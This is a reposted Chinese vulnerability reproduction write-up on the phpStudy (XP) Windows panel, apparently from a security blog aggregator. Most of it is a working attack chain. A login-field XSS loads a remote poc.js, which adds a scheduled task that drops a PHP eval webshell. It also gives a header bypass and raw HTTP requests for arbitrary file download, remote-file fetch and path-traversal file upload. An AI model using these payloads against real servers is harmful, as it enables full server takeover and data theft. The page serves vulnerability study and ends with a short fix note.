漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

Posted h领小白帽

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现phpStudy 小皮 Windows面板 RCE漏洞相关的知识,希望对你有一定的参考价值。

文章目录


前言

本篇文章仅用于漏洞复现研究和学习,切勿从事非法攻击行为,切记!


一、漏洞描述

phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。

二、漏洞复现

首先去官网下载最新版的小皮Windows面板安装包程序

下载地址:https://www.xp.cn/windows-panel.html

本地环境安装

安装完成之后会弹出一个txt文档,里面包含访问地址,如下所示

访问系统面板,出现如下登录界面

首先在用户名登录的地方输入XSS代码验证是否存在漏洞

接着使用正确的账号密码进行登录,加载完成之后,出现弹窗。

如上图可以看到确实触发XSS弹窗,这是因为整个系统在加载的过程中会读取操作日志的内容,刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本,所以执行显示了登录系统失败。

在当前这个系统界面上有一个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。

操作步骤如下:
在本地使用python开启一个http服务,并且将poc脚本放在服务目录下进行利用。


POC

function poc()
  $.get('/service/app/tasks.php?type=task_list',,function(data)
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',
      tid:id
    ,function(res2)
        $.post('/service/app/log.php?type=clearlog',
            
        ,function(res3),"json");
        
      
    ,"json");
  ,"json");

function save()
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res)
    poc();
  ,'json');

save();

PS:这里需要清空日志,避免重复触发。

紧接着在登录处用户名框中插入如下代码

<script src=http://X.X.X.X:8000/poc.js></script>


操作完成后,只要管理员登录到系统,插入的XSS代码就可以写入计划任务并执行,通过计划任务就可以在服务器上写入文件。

当管理员登录成功后,就会在对应路径下产生一个 1.php文件(文件内容自行定义)


因为小皮windows面板这个应用系统类似于宝塔,所以其中会部署网站

当文件写入完成后,即可通过WebShell管理工具进行连接。

小皮Windows web面板漏洞详解

PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。

漏洞简介

  PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。

影响版本

  因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。

环境搭建

  从官网下载 小皮 windows 面板安装包

  https://www.xp.cn/windows-panel.html

  ​

  ​

  安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。

  ​

  ​

漏洞复现

绕过随机码

  我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

  ​

  在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php

  ​

  当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。

  ​

  ‍

存储型 XSS

  我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。

<script>alert("xss")</script>

  ​

  ​

  利用正确的用户名密码登录查看。

  ​

  我们发现成功的触发了存储型 xss。

  我们查看登录时的数据包

  ​

  ​service/app/account.php

  ​

  ​\\Account::login

  ​

  ​\\Socket::request

  ​

  ‍

  将信息保存起来,登录平台后会自动获取一次日志信息。

  ​

  ​service/app/log.php

  ​

  ‍

后台计划任务

  我们注意到后台有计划任务模块。

  ​

  所以可以直接通过构造计划任务实现 RCE。

  添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本

  ​

  ‍

  ​

  ​

  ​

  ​

  ​

  成功执行命令。

  结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。

任意文件下载

  构造数据包

GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close

  file 的值是 base64 编码后的 /test.txt 成功读取文件内容。

  ​

  ​

  service/app/files.php

  ​

  文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。

任意代码执行

  构造数据包

POST /service/app/files.php?type=download_remote_file HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
​
url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt

  url 是 base64 编码的 http://192.168.222.1:8000/1.txt

 python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务

  ​

  ​

  ​

  ​service/app/files.php

  ​

  通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。

任意文件上传

  构造数据包

POST /service/app/files.php?type=file_upload HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 288
​
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file_path"
​
/
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing1.txt"
Content-type: image/jpg
​
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--

  ​

  ​

  ​service/app/files.php

  ​

任意文件上传二

  构造数据包

POST /service/app/files.php?type=save_file_contents HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
​
file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer

  ​

  ​

  ​service/app/files.php

  ​

  根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。

任意文件上传三

  构造数据包

POST /service/app/databases.php?type=file_add HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 312
​
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="parent_dir"
​
../../../../../../../../
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing2.txt"
Content-type: image/jpg
​
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--

  ​

  ​

  ​service/app/databases.php

  ​

漏洞修复

  在登录处添加了校验。

  ​

  对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars​ 处理。

更多靶场实验练习、网安学习资料,请点击这里>>

以上是关于漏洞复现phpStudy 小皮 Windows面板 RCE漏洞的主要内容,如果未能解决你的问题,请参考以下文章

利用phpstudy(小皮面板)配置本地PHP开发环境的记录

phpStudy nginx 解析漏洞复现

如何在Win8系统中搭建Web服务器

关于小皮面板打开MySQL命令行的问题

phpStudy后门漏洞利用复现

Windows2008系统漏洞提权复现